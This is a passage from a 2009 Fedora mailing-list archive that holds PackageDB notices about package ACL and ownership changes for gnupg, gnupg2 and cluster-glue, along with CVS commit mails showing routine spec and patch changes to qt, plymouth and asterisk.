From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 13:45:58 +0000
Subject: [pkgdb] gnupg: tmraz has requested approveacls
Message-ID: <20091009134558.109D810F84D@bastion2.fedora.phx.redhat.com>

tmraz has requested the approveacls acl on gnupg (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/gnupg



From pkgdb at fedoraproject.org  Fri Oct  9 13:46:04 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 13:46:04 +0000
Subject: [pkgdb] gnupg: tmraz has requested watchbugzilla
Message-ID: <20091009134604.9728E10F84D@bastion2.fedora.phx.redhat.com>

tmraz has requested the watchbugzilla acl on gnupg (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/gnupg



From pkgdb at fedoraproject.org  Fri Oct  9 13:46:06 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 13:46:06 +0000
Subject: [pkgdb] gnupg: tmraz has requested watchcommits
Message-ID: <20091009134606.46E0210F894@bastion2.fedora.phx.redhat.com>

tmraz has requested the watchcommits acl on gnupg (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/gnupg



From pkgdb at fedoraproject.org  Fri Oct  9 13:46:08 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 13:46:08 +0000
Subject: [pkgdb] gnupg: tmraz has requested commit
Message-ID: <20091009134608.D269E10F84D@bastion2.fedora.phx.redhat.com>

tmraz has requested the commit acl on gnupg (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/gnupg



From pkgdb at fedoraproject.org  Fri Oct  9 13:46:11 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 13:46:11 +0000
Subject: [pkgdb] gnupg: tmraz has requested approveacls
Message-ID: <20091009134611.0B6C010F8A9@bastion2.fedora.phx.redhat.com>

tmraz has requested the approveacls acl on gnupg (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/gnupg



From pkgdb at fedoraproject.org  Fri Oct  9 13:46:14 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 13:46:14 +0000
Subject: [pkgdb] gnupg: tmraz has requested watchbugzilla
Message-ID: <20091009134614.CB0EC10F894@bastion2.fedora.phx.redhat.com>

tmraz has requested the watchbugzilla acl on gnupg (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/gnupg



From pkgdb at fedoraproject.org  Fri Oct  9 13:46:16 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 13:46:16 +0000
Subject: [pkgdb] gnupg: tmraz has requested watchcommits
Message-ID: <20091009134616.5C86810F8A1@bastion2.fedora.phx.redhat.com>

tmraz has requested the watchcommits acl on gnupg (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/gnupg



From pkgdb at fedoraproject.org  Fri Oct  9 13:46:17 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 13:46:17 +0000
Subject: [pkgdb] gnupg: tmraz has requested commit
Message-ID: <20091009134618.6CD8910F8B1@bastion2.fedora.phx.redhat.com>

tmraz has requested the commit acl on gnupg (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/gnupg



From pkgdb at fedoraproject.org  Fri Oct  9 13:46:20 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 13:46:20 +0000
Subject: [pkgdb] gnupg: tmraz has requested approveacls
Message-ID: <20091009134620.240C010F8AC@bastion2.fedora.phx.redhat.com>

tmraz has requested the approveacls acl on gnupg (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/gnupg



From pkgdb at fedoraproject.org  Fri Oct  9 13:48:46 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 13:48:46 +0000
Subject: [pkgdb] gnupg had acl change status
Message-ID: <20091009134846.C672810F880@bastion2.fedora.phx.redhat.com>

nalin has set the watchbugzilla acl on gnupg (Fedora devel) to Approved for tmraz

To make changes to this package see:
  /pkgdb/packages/name/gnupg



From pkgdb at fedoraproject.org  Fri Oct  9 13:48:49 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 13:48:49 +0000
Subject: [pkgdb] gnupg had acl change status
Message-ID: <20091009134849.A983910F894@bastion2.fedora.phx.redhat.com>

nalin has set the watchcommits acl on gnupg (Fedora devel) to Approved for tmraz

To make changes to this package see:
  /pkgdb/packages/name/gnupg



From pkgdb at fedoraproject.org  Fri Oct  9 13:48:52 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 13:48:52 +0000
Subject: [pkgdb] gnupg had acl change status
Message-ID: <20091009134852.CECDF10F880@bastion2.fedora.phx.redhat.com>

nalin has set the commit acl on gnupg (Fedora devel) to Approved for tmraz

To make changes to this package see:
  /pkgdb/packages/name/gnupg



From pkgdb at fedoraproject.org  Fri Oct  9 13:48:54 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 13:48:54 +0000
Subject: [pkgdb] gnupg had acl change status
Message-ID: <20091009134854.D68AA10F892@bastion2.fedora.phx.redhat.com>

nalin has set the approveacls acl on gnupg (Fedora devel) to Approved for tmraz

To make changes to this package see:
  /pkgdb/packages/name/gnupg



From pkgdb at fedoraproject.org  Fri Oct  9 13:49:06 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 13:49:06 +0000
Subject: [pkgdb] gnupg had acl change status
Message-ID: <20091009134906.98C2710F892@bastion2.fedora.phx.redhat.com>

nalin has set the watchbugzilla acl on gnupg (Fedora 11) to Approved for tmraz

To make changes to this package see:
  /pkgdb/packages/name/gnupg



From pkgdb at fedoraproject.org  Fri Oct  9 13:49:07 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 13:49:07 +0000
Subject: [pkgdb] gnupg had acl change status
Message-ID: <20091009134907.A8D5610F8A3@bastion2.fedora.phx.redhat.com>

nalin has set the watchcommits acl on gnupg (Fedora 11) to Approved for tmraz

To make changes to this package see:
  /pkgdb/packages/name/gnupg



From pkgdb at fedoraproject.org  Fri Oct  9 13:49:09 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 13:49:09 +0000
Subject: [pkgdb] gnupg had acl change status
Message-ID: <20091009134909.4507210F8A9@bastion2.fedora.phx.redhat.com>

nalin has set the commit acl on gnupg (Fedora 11) to Approved for tmraz

To make changes to this package see:
  /pkgdb/packages/name/gnupg



From pkgdb at fedoraproject.org  Fri Oct  9 13:49:12 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 13:49:12 +0000
Subject: [pkgdb] gnupg had acl change status
Message-ID: <20091009134912.20C3D10F8AC@bastion2.fedora.phx.redhat.com>

nalin has set the approveacls acl on gnupg (Fedora 11) to Approved for tmraz

To make changes to this package see:
  /pkgdb/packages/name/gnupg



From pkgdb at fedoraproject.org  Fri Oct  9 13:49:17 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 13:49:17 +0000
Subject: [pkgdb] gnupg had acl change status
Message-ID: <20091009134917.BAAB210F892@bastion2.fedora.phx.redhat.com>

nalin has set the watchbugzilla acl on gnupg (Fedora 12) to Approved for tmraz

To make changes to this package see:
  /pkgdb/packages/name/gnupg



From pkgdb at fedoraproject.org  Fri Oct  9 13:49:19 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 13:49:19 +0000
Subject: [pkgdb] gnupg had acl change status
Message-ID: <20091009134919.1C02910F8A1@bastion2.fedora.phx.redhat.com>

nalin has set the watchcommits acl on gnupg (Fedora 12) to Approved for tmraz

To make changes to this package see:
  /pkgdb/packages/name/gnupg



From pkgdb at fedoraproject.org  Fri Oct  9 13:49:21 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 13:49:21 +0000
Subject: [pkgdb] gnupg had acl change status
Message-ID: <20091009134921.1169710F8AB@bastion2.fedora.phx.redhat.com>

nalin has set the commit acl on gnupg (Fedora 12) to Approved for tmraz

To make changes to this package see:
  /pkgdb/packages/name/gnupg



From pkgdb at fedoraproject.org  Fri Oct  9 13:49:23 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 13:49:23 +0000
Subject: [pkgdb] gnupg had acl change status
Message-ID: <20091009134923.676E310F84D@bastion2.fedora.phx.redhat.com>

nalin has set the approveacls acl on gnupg (Fedora 12) to Approved for tmraz

To make changes to this package see:
  /pkgdb/packages/name/gnupg



From pkgdb at fedoraproject.org  Fri Oct  9 13:54:08 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 13:54:08 +0000
Subject: [pkgdb] gnupg2 had acl change status
Message-ID: <20091009135408.4C13810F844@bastion2.fedora.phx.redhat.com>

rdieter has set the watchbugzilla acl on gnupg2 (Fedora devel) to Approved for tmraz

To make changes to this package see:
  /pkgdb/packages/name/gnupg2



From pkgdb at fedoraproject.org  Fri Oct  9 13:54:08 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 13:54:08 +0000
Subject: [pkgdb] gnupg2 had acl change status
Message-ID: <20091009135408.5DF2810F880@bastion2.fedora.phx.redhat.com>

rdieter has set the watchcommits acl on gnupg2 (Fedora devel) to Approved for tmraz

To make changes to this package see:
  /pkgdb/packages/name/gnupg2



From pkgdb at fedoraproject.org  Fri Oct  9 13:54:10 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 13:54:10 +0000
Subject: [pkgdb] gnupg2 had acl change status
Message-ID: <20091009135410.98B2910F8A1@bastion2.fedora.phx.redhat.com>

rdieter has set the commit acl on gnupg2 (Fedora devel) to Approved for tmraz

To make changes to this package see:
  /pkgdb/packages/name/gnupg2



From pkgdb at fedoraproject.org  Fri Oct  9 13:54:22 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 13:54:22 +0000
Subject: [pkgdb] gnupg2 had acl change status
Message-ID: <20091009135422.6838610F844@bastion2.fedora.phx.redhat.com>

rdieter has set the approveacls acl on gnupg2 (Fedora devel) to Approved for tmraz

To make changes to this package see:
  /pkgdb/packages/name/gnupg2



From pkgdb at fedoraproject.org  Fri Oct  9 13:54:31 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 13:54:31 +0000
Subject: [pkgdb] gnupg2 had acl change status
Message-ID: <20091009135431.9CDE410F844@bastion2.fedora.phx.redhat.com>

rdieter has set the watchbugzilla acl on gnupg2 (Fedora 11) to Approved for tmraz

To make changes to this package see:
  /pkgdb/packages/name/gnupg2



From pkgdb at fedoraproject.org  Fri Oct  9 13:54:32 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 13:54:32 +0000
Subject: [pkgdb] gnupg2 had acl change status
Message-ID: <20091009135432.A3E3410F895@bastion2.fedora.phx.redhat.com>

rdieter has set the watchcommits acl on gnupg2 (Fedora 11) to Approved for tmraz

To make changes to this package see:
  /pkgdb/packages/name/gnupg2



From pkgdb at fedoraproject.org  Fri Oct  9 13:54:35 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 13:54:35 +0000
Subject: [pkgdb] gnupg2 had acl change status
Message-ID: <20091009135435.B06B810F844@bastion2.fedora.phx.redhat.com>

rdieter has set the commit acl on gnupg2 (Fedora 11) to Approved for tmraz

To make changes to this package see:
  /pkgdb/packages/name/gnupg2



From pkgdb at fedoraproject.org  Fri Oct  9 13:54:36 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 13:54:36 +0000
Subject: [pkgdb] gnupg2 had acl change status
Message-ID: <20091009135436.B3CDC10F84D@bastion2.fedora.phx.redhat.com>

rdieter has set the approveacls acl on gnupg2 (Fedora 11) to Approved for tmraz

To make changes to this package see:
  /pkgdb/packages/name/gnupg2



From pkgdb at fedoraproject.org  Fri Oct  9 13:54:39 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 13:54:39 +0000
Subject: [pkgdb] gnupg2 had acl change status
Message-ID: <20091009135439.DBC5810F8A1@bastion2.fedora.phx.redhat.com>

rdieter has set the watchbugzilla acl on gnupg2 (Fedora 12) to Approved for tmraz

To make changes to this package see:
  /pkgdb/packages/name/gnupg2



From pkgdb at fedoraproject.org  Fri Oct  9 13:54:40 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 13:54:40 +0000
Subject: [pkgdb] gnupg2 had acl change status
Message-ID: <20091009135440.A479310F8B4@bastion2.fedora.phx.redhat.com>

rdieter has set the watchcommits acl on gnupg2 (Fedora 12) to Approved for tmraz

To make changes to this package see:
  /pkgdb/packages/name/gnupg2



From pkgdb at fedoraproject.org  Fri Oct  9 13:54:41 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 13:54:41 +0000
Subject: [pkgdb] gnupg2 had acl change status
Message-ID: <20091009135441.CFCAE10F894@bastion2.fedora.phx.redhat.com>

rdieter has set the commit acl on gnupg2 (Fedora 12) to Approved for tmraz

To make changes to this package see:
  /pkgdb/packages/name/gnupg2



From pkgdb at fedoraproject.org  Fri Oct  9 13:54:43 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 13:54:43 +0000
Subject: [pkgdb] gnupg2 had acl change status
Message-ID: <20091009135443.6CEEF10F844@bastion2.fedora.phx.redhat.com>

rdieter has set the approveacls acl on gnupg2 (Fedora 12) to Approved for tmraz

To make changes to this package see:
  /pkgdb/packages/name/gnupg2



From rdieter at fedoraproject.org  Fri Oct  9 13:57:16 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Fri,  9 Oct 2009 13:57:16 +0000 (UTC)
Subject: rpms/qt/F-12
	qt-x11-opensource-src-4.5.3-javascript-disable-jit.patch, 
	NONE, 1.1 qt.spec, 1.333, 1.334
Message-ID: <20091009135716.9775511C00C1@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/qt/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4840

Modified Files:
	qt.spec 
Added Files:
	qt-x11-opensource-src-4.5.3-javascript-disable-jit.patch 
Log Message:
* Tue Oct 06 2009 Jaroslav Reznik <jreznik at redhat.com> - 4.5.2-24
- disable JavaScriptCore JIT, SE Linux crashes (#527079)


qt-x11-opensource-src-4.5.3-javascript-disable-jit.patch:
 JavaScriptCore.pri |   14 --------------
 1 file changed, 14 deletions(-)

--- NEW FILE qt-x11-opensource-src-4.5.3-javascript-disable-jit.patch ---
diff -up qt-x11-opensource-src-4.5.3/src/3rdparty/webkit/JavaScriptCore/JavaScriptCore.pri.javascriptcore-disable-jit qt-x11-opensource-src-4.5.3/src/3rdparty/webkit/JavaScriptCore/JavaScriptCore.pri
--- qt-x11-opensource-src-4.5.3/src/3rdparty/webkit/JavaScriptCore/JavaScriptCore.pri.javascriptcore-disable-jit	2009-09-29 13:01:35.000000000 +0200
+++ qt-x11-opensource-src-4.5.3/src/3rdparty/webkit/JavaScriptCore/JavaScriptCore.pri	2009-10-06 10:39:55.976466622 +0200
@@ -13,20 +13,6 @@ win32-* {
     LIBS += -lwinmm
 }
 
-# Disable the JIT due to numerous observed miscompilations :(
-CONFIG(release):isEqual(QT_ARCH,i386) {
-     JIT_DEFINES = ENABLE_JIT ENABLE_WREC ENABLE_JIT_OPTIMIZE_CALL ENABLE_JIT_OPTIMIZE_PROPERTY_ACCESS ENABLE_JIT_OPTIMIZE_ARITHMETIC
-     # Require gcc >= 4.1
-     linux-g++*:greaterThan(QT_GCC_MAJOR_VERSION,3):greaterThan(QT_GCC_MINOR_VERSION,0) {
-         DEFINES += $$JIT_DEFINES WTF_USE_JIT_STUB_ARGUMENT_VA_LIST
-         QMAKE_CXXFLAGS += -fno-stack-protector
-         QMAKE_CFLAGS += -fno-stack-protector
-     }
-     win32-msvc* {
-         DEFINES += $$JIT_DEFINES WTF_USE_JIT_STUB_ARGUMENT_REGISTER
-     }
-}
-
 win32-msvc*: INCLUDEPATH += $$PWD/os-win32
 wince* {
     INCLUDEPATH += $$PWD/os-wince


Index: qt.spec
===================================================================
RCS file: /cvs/pkgs/rpms/qt/F-12/qt.spec,v
retrieving revision 1.333
retrieving revision 1.334
diff -u -p -r1.333 -r1.334
--- qt.spec	4 Oct 2009 07:24:11 -0000	1.333
+++ qt.spec	9 Oct 2009 13:57:16 -0000	1.334
@@ -10,7 +10,7 @@ Summary: Qt toolkit
 Name:    qt
 Epoch:   1
 Version: 4.5.2
-Release: 23%{?dist}
+Release: 24%{?dist}
 
 # See LGPL_EXCEPTIONS.txt, LICENSE.GPL3, respectively, for exception details
 License: LGPLv2 with exceptions or GPLv3 with exceptions
@@ -44,6 +44,9 @@ Patch21: qt-x11-opensource-src-4.5.2-gst
 # use system ca-bundle certs, http://bugzilla.redhat.com/521911
 Patch22: qt-x11-opensource-src-4.5.2-system_ca_certificates.patch 
 Requires: ca-certificates
+# disable JavaScriptCore JIT as it crashes with SE Linux
+# http://bugzilla.redhat.com/527079
+Patch23: qt-x11-opensource-src-4.5.3-javascript-disable-jit.patch
 
 ## upstreamable bits
 # http://bugzilla.redhat.com/485677
@@ -361,6 +364,7 @@ Qt libraries used for drawing widgets an
 %patch19 -p1 -b .servicesfile
 %patch21 -p1 -b .gst-pulsaudio
 %patch22 -p1 -b .system_ca_certificates
+%patch23 -p1 -b .javascriptcore-disable-jit
 %patch51 -p1 -b .qdoc3
 %patch52 -p1 -b .sparc64
 %patch53 -p1 -b .qatomic-inline-asm
@@ -941,6 +945,9 @@ fi
 
 
 %changelog
+* Tue Oct 06 2009 Jaroslav Reznik <jreznik at redhat.com> - 4.5.2-24
+- disable JavaScriptCore JIT, SE Linux crashes (#527079)
+
 * Sun Oct 04 2009 Than Ngo <than at redhat.com> - 4.5.2-23
 - rhel cleanup
 



From pkgdb at fedoraproject.org  Fri Oct  9 13:59:00 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 13:59:00 +0000
Subject: [pkgdb] gnupg ownership updated
Message-ID: <20091009135900.D97CE10F892@bastion2.fedora.phx.redhat.com>

Package gnupg in Fedora 11 is now owned by tmraz

To make changes to this package see:
  /pkgdb/packages/name/gnupg



From pkgdb at fedoraproject.org  Fri Oct  9 13:59:03 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 13:59:03 +0000
Subject: [pkgdb] gnupg ownership updated
Message-ID: <20091009135903.F3F8B10F8A3@bastion2.fedora.phx.redhat.com>

Package gnupg in Fedora 12 is now owned by tmraz

To make changes to this package see:
  /pkgdb/packages/name/gnupg



From pkgdb at fedoraproject.org  Fri Oct  9 13:59:09 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 13:59:09 +0000
Subject: [pkgdb] gnupg ownership updated
Message-ID: <20091009135909.A168910F892@bastion2.fedora.phx.redhat.com>

Package gnupg in Fedora devel is now owned by tmraz

To make changes to this package see:
  /pkgdb/packages/name/gnupg



From pkgdb at fedoraproject.org  Fri Oct  9 13:59:22 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 13:59:22 +0000
Subject: [pkgdb] gnupg: nalin has requested watchbugzilla
Message-ID: <20091009135922.9A5F410F894@bastion2.fedora.phx.redhat.com>

nalin has requested the watchbugzilla acl on gnupg (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/gnupg



From pkgdb at fedoraproject.org  Fri Oct  9 13:59:35 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 13:59:35 +0000
Subject: [pkgdb] gnupg: nalin has requested watchbugzilla
Message-ID: <20091009135935.E54D910F84D@bastion2.fedora.phx.redhat.com>

nalin has requested the watchbugzilla acl on gnupg (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/gnupg



From pkgdb at fedoraproject.org  Fri Oct  9 13:59:44 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 13:59:44 +0000
Subject: [pkgdb] gnupg: nalin has requested watchbugzilla
Message-ID: <20091009135944.947E010F84D@bastion2.fedora.phx.redhat.com>

nalin has requested the watchbugzilla acl on gnupg (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/gnupg



From rstrode at fedoraproject.org  Fri Oct  9 14:02:18 2009
From: rstrode at fedoraproject.org (Ray Strode)
Date: Fri,  9 Oct 2009 14:02:18 +0000 (UTC)
Subject: rpms/plymouth/F-12 fix-text-shutdown-crash.patch, NONE,
	1.1 plymouth.spec, 1.155, 1.156
Message-ID: <20091009140218.3F5D911C00C1@cvs1.fedora.phx.redhat.com>

Author: rstrode

Update of /cvs/pkgs/rpms/plymouth/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6585

Modified Files:
	plymouth.spec 
Added Files:
	fix-text-shutdown-crash.patch 
Log Message:
- Fix crash in text plugin on shutdown


fix-text-shutdown-crash.patch:
 ply-text-progress-bar.c |    3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

--- NEW FILE fix-text-shutdown-crash.patch ---
>From 9fd849e130db63ccca93d3c661751a13781bbbbf Mon Sep 17 00:00:00 2001
From: Ray Strode <rstrode at redhat.com>
Date: Thu, 1 Oct 2009 10:22:28 -0400
Subject: [PATCH] [text-progress-bar] Don't segfault if no os string

Some distributions won't have a release file that
we know about.  In those cases, we shouldn't crash.

This also sidesteps a crash on shutdown where we try to strlen the
os string, even though we don't load it or use it.
---
 src/libplybootsplash/ply-text-progress-bar.c |    2 +-
 1 files changed, 1 insertions(+), 1 deletions(-)

diff --git a/src/libplybootsplash/ply-text-progress-bar.c b/src/libplybootsplash/ply-text-progress-bar.c
index b7676c9..5e9baa2 100644
--- a/src/libplybootsplash/ply-text-progress-bar.c
+++ b/src/libplybootsplash/ply-text-progress-bar.c
@@ -57,7 +57,7 @@
 
 #define NUMBER_OF_INDICATOR_COLUMNS 6
 
-static char *os_string;
+static char *os_string = "";
 
 struct _ply_text_progress_bar
 {
-- 
1.6.5.rc2



Index: plymouth.spec
===================================================================
RCS file: /cvs/pkgs/rpms/plymouth/F-12/plymouth.spec,v
retrieving revision 1.155
retrieving revision 1.156
diff -u -p -r1.155 -r1.156
--- plymouth.spec	8 Oct 2009 21:59:38 -0000	1.155
+++ plymouth.spec	9 Oct 2009 14:02:17 -0000	1.156
@@ -6,7 +6,7 @@
 Summary: Graphical Boot Animation and Logger
 Name: plymouth
 Version: 0.8.0
-Release: 0.2009.29.09.7%{?dist}
+Release: 0.2009.29.09.8%{?dist}
 License: GPLv2+
 Group: System Environment/Base
 Source0: http://freedesktop.org/software/plymouth/releases/%{name}-%{version}.tar.bz2
@@ -37,6 +37,7 @@ Patch3: fix-firstboot-on-radeon.patch
 Patch4: more-drm-fixes.patch
 Patch5: fix-emergency-shell.patch
 Patch6: fix-details-clear-screen.patch
+Patch7: fix-text-shutdown-crash.patch
 
 %description
 Plymouth provides an attractive graphical boot animation in
@@ -251,6 +252,7 @@ plugin.
 %patch4 -p1 -b .more-drm-fixes
 %patch5 -p1 -b .fix-emergency-shell
 %patch6 -p1 -b .fix-details-clear-screen
+%patch7 -p1 -b .fix-text-shutdown-crash
 
 %build
 %configure --enable-tracing --disable-tests --without-boot-entry \
@@ -468,6 +470,9 @@ fi
 %defattr(-, root, root)
 
 %changelog
+* Fri Oct 09 2009 Ray Strode <rstrode at redhat.com> 0.8.0-0.2009.29.09.8
+- Fix crash in text plugin on shutdown
+
 * Thu Oct 08 2009 Ray Strode <rstrode at redhat.com> 0.8.0-0.2009.29.09.7
 - Fix emergency shell horkage (bug 526597)
 - Fix problem with details splash not showing up (bug 527426, bug 527254)



From jcollie at fedoraproject.org  Fri Oct  9 14:15:21 2009
From: jcollie at fedoraproject.org (Jeffrey C. Ollie)
Date: Fri,  9 Oct 2009 14:15:21 +0000 (UTC)
Subject: rpms/asterisk/devel asterisk.spec,1.60,1.61
Message-ID: <20091009141521.D32F111C00C1@cvs1.fedora.phx.redhat.com>

Author: jcollie

Update of /cvs/pkgs/rpms/asterisk/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10065

Modified Files:
	asterisk.spec 
Log Message:
* Fri Oct  9 2009 Jeffrey C. Ollie <jeff at ocjtech.us> - 1.6.2.0-0.6.rc3
- Require latex2html used in static-http documents



Index: asterisk.spec
===================================================================
RCS file: /cvs/pkgs/rpms/asterisk/devel/asterisk.spec,v
retrieving revision 1.60
retrieving revision 1.61
diff -u -p -r1.60 -r1.61
--- asterisk.spec	8 Oct 2009 03:00:20 -0000	1.60
+++ asterisk.spec	9 Oct 2009 14:15:21 -0000	1.61
@@ -2,7 +2,7 @@
 Summary: The Open Source PBX
 Name: asterisk
 Version: 1.6.2.0
-Release: 0.5%{?_rc:.rc%{_rc}}%{?dist}
+Release: 0.6%{?_rc:.rc%{_rc}}%{?dist}
 License: GPLv2
 Group: Applications/Internet
 URL: http://www.asterisk.org/
@@ -65,6 +65,9 @@ Requires(post): /sbin/chkconfig
 Requires(preun): /sbin/chkconfig
 Requires(preun): /sbin/service
 
+# needed for icons used from %{_datadir}/asterisk/static-http/*
+Requires: latex2html
+
 # asterisk-conference package removed since patch no longer compiles
 Obsoletes: asterisk-conference <= 1.6.0-0.14.beta9
 Obsoletes: asterisk-mobile <= 1.6.1-0.23.rc1
@@ -1008,6 +1011,9 @@ fi
 %{_libdir}/asterisk/modules/app_voicemail_plain.so
 
 %changelog
+* Fri Oct  9 2009 Jeffrey C. Ollie <jeff at ocjtech.us> - 1.6.2.0-0.6.rc3
+- Require latex2html used in static-http documents
+
 * Wed Oct  7 2009 Jeffrey C. Ollie <jeff at ocjtech.us> - 1.6.2.0-0.5.rc3
 - Change ownership and permissions on config files to protect them.
 



From pkgdb at fedoraproject.org  Fri Oct  9 14:17:33 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 14:17:33 +0000
Subject: [pkgdb] cluster-glue: fabbione has requested commit
Message-ID: <20091009141733.14DB810F895@bastion2.fedora.phx.redhat.com>

fabbione has requested the commit acl on cluster-glue (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/cluster-glue



From pkgdb at fedoraproject.org  Fri Oct  9 14:17:34 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 14:17:34 +0000
Subject: [pkgdb] cluster-glue: fabbione has requested approveacls
Message-ID: <20091009141734.0EF6F10F8A4@bastion2.fedora.phx.redhat.com>

fabbione has requested the approveacls acl on cluster-glue (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/cluster-glue



From pkgdb at fedoraproject.org  Fri Oct  9 14:17:38 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 14:17:38 +0000
Subject: [pkgdb] cluster-glue: fabbione has requested commit
Message-ID: <20091009141738.A124310F8A9@bastion2.fedora.phx.redhat.com>

fabbione has requested the commit acl on cluster-glue (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/cluster-glue



From pkgdb at fedoraproject.org  Fri Oct  9 14:17:41 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 14:17:41 +0000
Subject: [pkgdb] cluster-glue: fabbione has requested approveacls
Message-ID: <20091009141741.0559510F8AD@bastion2.fedora.phx.redhat.com>

fabbione has requested the approveacls acl on cluster-glue (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/cluster-glue



From pkgdb at fedoraproject.org  Fri Oct  9 14:19:04 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 14:19:04 +0000
Subject: [pkgdb] cluster-glue had acl change status
Message-ID: <20091009141904.C750410F880@bastion2.fedora.phx.redhat.com>

beekhof has set the commit acl on cluster-glue (Fedora devel) to Approved for fabbione

To make changes to this package see:
  /pkgdb/packages/name/cluster-glue



From pkgdb at fedoraproject.org  Fri Oct  9 14:19:05 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 14:19:05 +0000
Subject: [pkgdb] cluster-glue had acl change status
Message-ID: <20091009141905.2F34810F895@bastion2.fedora.phx.redhat.com>

beekhof has set the approveacls acl on cluster-glue (Fedora devel) to Approved for fabbione

To make changes to this package see:
  /pkgdb/packages/name/cluster-glue



From pkgdb at fedoraproject.org  Fri Oct  9 14:19:10 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 14:19:10 +0000
Subject: [pkgdb] cluster-glue had acl change status
Message-ID: <20091009141910.E420F10F8A4@bastion2.fedora.phx.redhat.com>

beekhof has set the commit acl on cluster-glue (Fedora devel) to Approved for lon

To make changes to this package see:
  /pkgdb/packages/name/cluster-glue



From pkgdb at fedoraproject.org  Fri Oct  9 14:19:13 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 14:19:13 +0000
Subject: [pkgdb] cluster-glue had acl change status
Message-ID: <20091009141913.1A96D10F895@bastion2.fedora.phx.redhat.com>

